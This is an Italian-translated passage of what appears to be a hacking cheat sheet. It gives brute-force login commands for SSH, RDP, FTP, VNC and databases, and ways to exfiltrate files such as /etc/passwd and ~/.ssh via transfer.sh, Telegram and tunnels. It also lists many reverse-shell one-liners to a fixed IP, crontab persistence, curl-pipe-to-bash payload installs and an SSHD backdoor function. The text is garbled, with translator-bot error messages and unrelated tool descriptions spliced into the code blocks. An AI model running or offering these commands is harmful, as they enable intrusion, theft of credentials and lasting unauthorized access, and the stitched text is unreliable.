* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [documentazione](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - ottimo per provare tutte le chiavi ssh su un intervallo di IP di destinazione.
Elenchi di username e password:
* `/usr/share/nmap/nselib/data`
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >IL PREFERITO DI THC<
* https://github.com/danielmiessler/SecLists
* https://wordlists.assetnote.io
* https://weakpass.com
* https://crackstation.net/
Imposta l'elenco **U**sername/**P**assword e l'host **T**arget.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"
Parametri utili di Nmap:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly
Parametri utili di **Ncrack**:```shell
-U "${ULIST}"
-P "${PLIST}"
Parametri utili di Hydra:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v
-->```shell
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"
INPUT:```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"
────────────────────────────────────────────────────────────────────────────────```shell
hydra -P "${PLIST}" -l user "ftp://$T"
Please provide the Markdown content to translate.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"
Cerca l'eseguibile e le librerie condivise in un binario ELF.
l : visualizza i percorsi risolti. (predefinito)L : visualizza i percorsi risolti e dettagli aggiuntivi.r : uguale a l ma utilizza le informazioni RPATH invece di RUNPATH.```shellnmap -p110,995 --script pop3-brute "$T"
The input chunk is empty — there is no content provided to translate. Please supply the actual Markdown text for chunk 180/494.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"
The input content is empty — no Markdown text was provided after "INPUT:". Please supply the chunk text to translate.```shell
nmap -p5432 --script pgsql-brute "$T"
I don't see any content in the INPUT section to translate. Please provide the Markdown content for chunk 184/494 so I can translate it into Italian.```shell
## SMB (windows)
nmap --script smb-brute "$T"
I don't see any content to translate. The input after "INPUT:" is empty. Please provide the chunk text.```shell
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"
Non è stato fornito alcun contenuto da tradurre.```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"
certinfocertinfo è uno strumento a riga di comando che recupera le informazioni sui certificati SSL/TLS da un host remoto (o da un certificato locale) e le visualizza in formato JSON. Semplifica l'ispezione dei dettagli dei certificati, come le date di scadenza, i nomi dei soggetti/emittenti e le SAN.
go install github.com/yuntsun/certinfo/cmd/certinfo@latest
certinfo [opzioni] <host:porta> [nomeFileCertificato]
certinfo example.com:443
certinfo --file /percorso/al/certificato.pem
certinfo example.com:443 --server-name example.com
certinfo example.com:443 --timeout 5s
package main
import (
"fmt"
"github.com/yuntsun/certinfo"
)
func main() {
// Recupera il certificato da un host remoto.
certInfo, err := certinfo.GetCertInfoFromHost("example.com:443")
if err != nil {
panic(err)
}
// Stampa le informazioni JSON.
fmt.Println(string(certInfo))
}
netgraphnetgraph è un'utilità per la cattura e l'analisi dei pacchetti di rete tramite eBPF. Supporta l'analisi di vari protocolli e fornisce statistiche sulla distribuzione dell'utilizzo dei protocolli nella rete.
NetTop).go install github.com/v-byte-cpu/netgraph/cmd/netgraph@latest
netgraph [opzioni]
NetTop è un visualizzatore interattivo che mostra la topologia della rete e lo stato delle connessioni. Utilizza l'analisi netgraph per visualizzare i flussi di traffico tra gli host.
Le opzioni possono essere esaminate tramite il flag --help:
netgraph --help
``````shell
## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run
███╗ ██╗███████╗████████╗███╗ ███╗ █████╗ ██████╗
████╗ ██║██╔════╝╚══██╔══╝████╗ ████║██╔══██╗██╔══██╗
██╔██╗ ██║█████╗ ██║ ██╔████╔██║███████║██████╔╝
██║╚██╗██║██╔══╝ ██║ ██║╚██╔╝██║██╔══██║██╔═══╝
██║ ╚████║███████╗ ██║ ██║ ╚═╝ ██║██║ ██║██║
╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝
``````shell
## HTML basic auth
echo admin >user.txt # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
pentesteracademylab.appspot.com
Il modo più semplice: digita exfil su un Segfault Root Server
Oppure usa curl e avvia il tuo server exfil PHP.
Trucco per trasferire un file al target quando il target non ha accesso a Internet: converti il file binario in testo ASCII (base64) e poi usa taglia e incolla. (In alternativa usa la console elite di gs-netcat con Ctrl-e c per trasferire il file sulla stessa connessione TCP.)
Usa xclip (sulla tua workstation) per convogliare i dati codificati direttamente nella clipboard:```shell
base64 -w0 </etc/issue.net | xclip
#### >>> UU encode/decode```sh
## uuencode
uuencode /etc/issue.net issue.net-COPY
begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end
```sh base64 -d >issue.net-COPY ``` #### >>> Openssl codifica/decodifica```sh openssl base64VWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd codifica/decodifica```sh xxd -pVWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. Trasferimento file - usando taglia e incolla4b616c6920474e552f4c696e757820526f6c6c696e670a
Incolla in un file sulla macchina remota (nota il <<-'__EOF__' per non alterare tab o variabili $).```sh
cat >output.txt <<-'EOF'
[...]
EOF ### Finish your cut & paste by typing EOF
---
<a id="xfer-tmux"></a>
### 4.iii. Trasferimento file - usando *tmux*
Avvia `tmux` sulla tua workstation. Connettiti al tuo target con qualsiasi mezzo preferisci (ssh, gs-netcat, ...).
#### Da REMOTO a LOCALE (download)
Usa [Tmux-Logging](#tmux) per scaricare file di grandi dimensioni dal target tramite il terminale sulla tua workstation.
#### Da LOCALE a REMOTO (upload)
Avvia il tuo strumento di decodifica preferito (base64) sul REMOTO:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
Sulla tua workstation, e da un terminale diverso, invia dati codificati in base64. Arriveranno sul tuo REMOTE in screen-xfer.txt.```shell
tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'
---
<a id="file-transfer-screen"></a>
### 4.vi. Trasferimento di file - usando *screen*
#### Da REMOTO a LOCALE (download)
Tieni un *screen* in esecuzione sul tuo computer locale e accedi al sistema remoto dalla tua shell. Indica al tuo screen locale di registrare tutto l'output su screen-xfer.txt:
> CTRL-a : logfile screen-xfer.txt
> CTRL-a H
Usiamo *openssl* per codificare i nostri dati, ma funziona qualsiasi dei metodi di codifica sopra indicati. Questo comando visualizzerà i dati codificati in base64 nel terminale e *screen* scriverà questi dati su *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net
Interrompi la registrazione di ulteriori dati sul tuo schermo locale:
CTRL-a H
Sul tuo computer locale decodifica il file:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt
#### Da LOCALE a REMOTO (upload)
Sul tuo sistema locale codifica i dati:```sh
openssl base64 </etc/issue.net >screen-xfer.txt
Sul sistema remoto (e dall'interno della screen corrente):```sh openssl base64 -d
Get *screen* per caricare i dati codificati in base64 negli appunti di screen e incollare i dati dagli appunti al sistema remoto:
> CTRL-a : readbuf screen-xfer.txt
> CTRL-a : paste .
> CTRL-d
> CTRL-d
Nota: Sono necessari due CTRL-d a causa di un [bug in openssl](https://github.com/openssl/openssl/issues/9355).
---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Trasferimento file - usando gs-netcat e sftp
Usa [gs-netcat](https://github.com/hackerschoice/gsocket) e incapsula il protocollo sftp al suo interno. Consente l'accesso a host dietro NAT/Firewall.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall
Dalla tua workstation esegui questo comando per connetterti al server SFTP:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation
Oppure per SCARICARE un singolo file:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver
# On the receiver
gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender
Sul mittente/server:```sh
python -m http.server 8080 --bind 127.0.0.1 &
cloudflared tunnel -url localhost:8080
Ricevitore: Accedi all'URL da qualsiasi browser per visualizzare/scaricare il file system remoto.
#### 1 - Upload tramite PHP:
Sul ricevitore:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
Sul mittente:```posh
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
up warez.tar.gz up /etc/passwd
#### 2 - Caricamento tramite PYTHON:
Sul ricevente:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
Sul mittente:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'
---
<a id="download"></a>
### 4.vii. Download di file senza curl
Usando Python, scarica solo:```sh
# Declare a curl-alternative
purl() {
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
"$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io
Esempio: installazione di gsocket con purl:```sh
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct
Utilizzando OpenSSL, scarica solo:```sh
surl() {
local r="${1#*://}"
local opts=("-quiet" "-ign_eof")
IFS=/ read -r host query <<<"${r}"
openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io
usando Perl, solo download:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }
Usando bash, scarica solo:```sh
burl() {
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
Taglia e incolla nella tua bash:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }
poi carica un file o una directory:```sh
transfer /etc/passwd # A single file
transfer ~/.ssh # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
Un elenco dei nostri siti di upload pubblici preferiti.
Ideale per sincronizzare grandi quantità di directory o riavviare trasferimenti interrotti. L'esempio trasferisce la directory 'warez' al Ricevitore utilizzando una singola connessione TCP dal Mittente al Ricevitore.
Ricevitore:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach
Mittente:```posh
rsync -av warez rsync://1.2.3.4:31337/up
Lo stesso cifrato (OpenSSL):
Destinatario:```posh
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
Mittente:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
}
# Using rsync + openssl
up2() {
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
}
up1 /var/www/./warez
up2 /var/www/./warez
Rsync può essere combinato per esfiltrare tramite tunnel TCP grezzi https / cloudflared.
(Per esfiltrare da Windows, usa rsync.exe del pacchetto gsocket per Windows). Una soluzione più rumorosa è syncthing.
Suggerimento da professionisti: gli hacker pigri digitano semplicemente exfil su segfault.net.
Sul ricevitore (es. segfault.net) avvia un tunnel Cloudflare e WebDAV:```sh cloudflared tunnel --url localhost:8080 &
wsgidav --port=8080 --root=. --auth=anonymous
Su un altro server:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
Accedi alla condivisione da Windows (per trascinare e rilasciare i file) in Esplora file:``` \example-foo-bar-lights.trycloudflare.com@SSL\sources
Oppure monta la condivisione WebDAV su Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
Ci sono tantissimi servizi di upload ma TG è un'alternativa comoda. Ottieni un TG-Bot-Token dal TG BotFather. Poi crea un nuovo gruppo TG e aggiungi il tuo bot al gruppo. Recupera il chat_id di quel gruppo:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq
INPUT```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
Suggerimento: usa https://www.revshells.com/ 👌
5.i.a. Reverse shell con gs-netcat (crittografata)
Vedi 6. Backdoors per un one-liner per distribuire e accedere a una reverse shell PTY completamente funzionante usando https://gsocket.io/deploy.
Avvia netcat in ascolto sulla porta 1524 sul tuo sistema:```sh nc -nvlp 1524
Dopo la connessione, [porta](#reverse-shell-interactive) la tua shell a una shell PTY completamente interattiva. In alternativa usa [pwncat-cs](https://pwncat.org/) al posto di netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.
Sul sistema remoto, questo comando si ricollegherà al tuo sistema (IP = 3.13.3.7, porta 1524) e ti fornirà un prompt di shell:```sh
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
In alternativa, sul sistema remoto, inserisci questo nel `~/.profile` o nel crontab per riavviare la shell connect-back (e impedisce anche l'avvio di più istanze):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)
5.i.c. Reverse shell con cURL (cifrata)
Usa curlshell. Funziona anche attraverso i proxy e quando la connessione TCP diretta verso il mondo esterno è vietata:```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash
5.i.d Shell inversa con cURL (in chiaro)
Avvia ncat per ascoltare più connessioni:```sh ncat -kltv 1524
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
5.i.e. Reverse shell con OpenSSL (crittografata)```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
openssl s_server -port 1524 -cert cert.pem -key key.pem
[No content provided in the input.]```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
5.i.f. Reverse shell senza /dev/tcp
I sistemi embedded non hanno sempre Bash e il trucco /dev/tcp/ non funzionerà. Ci sono molti altri modi (Python, PHP, Perl, ..). Il nostro preferito è caricare netcat e usare netcat o telnet:
Sul sistema remoto:```sh nc -e /bin/sh -vn 3.13.3.7 1524
Variante se *'-e'* non è supportato:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:. (grazie a IA_PD).| : non funziona su C-Shell/tcsh (FreeBSD), Bourne shell originale (Solaris) o Korn shell (AIX). Usa mkfifo invece.Variante per /bin/sh più vecchio:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
Variante Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
Variante Telnet quando mkfifo non è supportato (Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
Note: Non dimenticare di eseguire `rm /tmp/.fio` dopo il login.
<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell con remote.moe e ssh (crittografata)**
È possibile instradare TCP grezzo (ad es. reverse shell bash) attraverso [remote.moe](https://remote.moe):
Sulla tua workstation:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe
# Second Terminal - start listening for the reverse shell
nc -vnlp 8080
Sul target(richiede SSH e Bash):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
Sul target (alternativa; richiede ssh, bash e mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
5.i.i. Reverse shell con Python```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<a id="reverse-shell-perl"></a>
**5.i.j. Reverse shell con Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
5.i.k. Reverse shell con PHP```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Aggiornare una reverse shell a una shell PTY**
Tutte le reverse shell di cui sopra sono limitate. Ad esempio *sudo bash* o *top* non funzioneranno. Per farli funzionare dobbiamo aggiornare la shell a una vera shell PTY:```sh
# Using script
exec script -qc /bin/bash /dev/null # Linux
exec script -q /dev/null /bin/bash # BSD
Con un aiuto sufficiente da parte tua, pubblicherò anche miglioramenti e una roadmap.```sh
exec python -c 'import pty; pty.spawn("/bin/bash")'
<a id="reverse-shell-interactive"></a>
**5.ii.b. Aggiornare una reverse shell a una shell completamente interattiva**
...e se vogliamo anche usare Ctrl-C ecc., allora dobbiamo andare fino in fondo e aggiornare la reverse shell a una vera shell interattiva completamente colorata:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
Nota: Assicurati che l'eseguibile abbia i permessi necessari in base alle tue esigenze.
$ docker run -v /path/to/nuclei/executable:/nuclei nt/nuclei-executor /nuclei -u <target> -t <template>Assegna i permessi di esecuzione di conseguenza se stai eseguendo localmente (
chmod +x).```
stty raw -echo icrnl opost; fg
### Utilizzo
[SecBuzzer](https://hackertarget.com/secbuzzer-iot-security-framework/) è un framework di sicurezza IoT, per l'implementazione su ESP8266 in ambienti come i test di penetration testing. Le funzionalità attuali includono la scansione di punti di accesso WiFi con una semplice interfaccia Web per la scansione WiFi.
L'UI Web fornisce un'interfaccia per la scansione dei punti di accesso WiFi nelle vicinanze, nell'ambito di un penetration test di deployment. L'UI è un captive portal che consente un facile accesso una volta connessi al punto di accesso "SecBuzzer". Basta connettersi al punto di accesso WiFi "SecBuzzer" e selezionare "Scan" per avviare la scansione.
Il SecBuzzer portatile può essere spostato nell'ambiente e utilizzato per rilevare i cambiamenti nel panorama WiFi. Ciò facilita il rilevamento di nuovi punti di accesso e consente potenzialmente l'implementazione di ulteriori punti di accesso per ridurre la distanza complessiva della rete target sotto test.
Una volta completato il pen test, SecBuzzer può eseguire una scansione per fornire un elenco di reti wireless e la potenza del segnale nell'ambiente operativo. La flessibilità della```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
5.ii.c. Reverse shell con socat (completamente interattivo)
...o installa socat e risolvi senza troppe complicazioni:```sh
socat file:tty,raw,echo=0 tcp-listen:1524
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
---
<a id="backdoor"></a>
## 6. Backdoor
Vedi [Reverse Shell / Dumb Shell](#reverse-shell) per semplici reverse shell a una riga.
<a id="gsnc"></a>
**6.i. Reverse shell usando gs-netcat**
Principalmente usiamo lo script di deploy automatico di gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
o```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
oppure distribuisci gsocket eseguendo il tuo server di deployment:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
6.ii. Reverse shell con sshx.io (crittografata)
Accedi a una shell remota dal tuo browser web https://sshx.io.
Inoltra lo sshx-backdoor direttamente in memoria:```shell
echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)
O il modo banale:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
6.iii. La più piccola backdoor SSHD
apt updateauthorized_keys né PAM.Aggiungere la tua chiave a authorized_keys è fin troppo usato 😩. Invece, come root, taglia e incolla questo una volta su qualsiasi target. Aggiungerà una singola riga alla config di SSHD e ti permetterà di accedere per sempre:```shell
backdoor_sshd() {
local B="/etc/ssh"
local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf)
[ ! -f "$K" ] && K="${B}/ssh_host_rsa_key"
[ -n "$N" ] && N="${N%%.conf}.conf"
N="${D}/${N:-50-cloud-init.conf}"
[ ! -d "${D}" ] && N="${B}/sshd_config"
{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"
grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D"
command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart
}
backdoor_sshd
How it works:
- La chiave host SSHD è solo una normale chiave ed25519.
- Qualsiasi chiave ed25519 può essere utilizzata per autenticare un utente.
- SSHD controlla `~/.ssh/authorized_keys` (ma questo trucco è stato abusato).
- Invece, configura SSHD affinché controlli anche `/etc/ssh/sshd_host_ed25519_key.pub` per le chiavi di autenticazione di login.
- SSHD ora controllerà `~/.ssh/authorized_keys` _e_ `/etc/ssh/ssh_host_ed25519_key.pub` per chiavi di login valide.
- Usa la chiave segreta `/etc/ssh/sshd_host_ed25519_key` per accedere al target.
<a id="backdoor-network"></a>
**6.vi. Accesso remoto a un'intera rete**
Installa [gs-netcat](https://github.com/hackerschoice/gsocket). Crea un nodo di uscita SOCKS sulla LAN privata dell'Host accessibile tramite la Global Socket Relay Network senza la necessità di eseguire il proprio relay-server (ad es. accedi direttamente alla LAN privata remota dalla tua workstation):```sh
gs-netcat -l -S # compromised Host
Ora dalla tua workstation puoi connetterti a QUALSIASI host sulla LAN privata dell'Host:```sh gs-netcat -p 1080 # Your workstation.
socat - "SOCKS4a:127.1:route.local:22"
Leggi [Usa qualsiasi strumento tramite Socks Proxy](#scan-proxy).
Altri metodi:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - il nostro articolo personale
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - da segfault.net a qualsiasi rete (interna).
<a id="php-backdoor"></a>
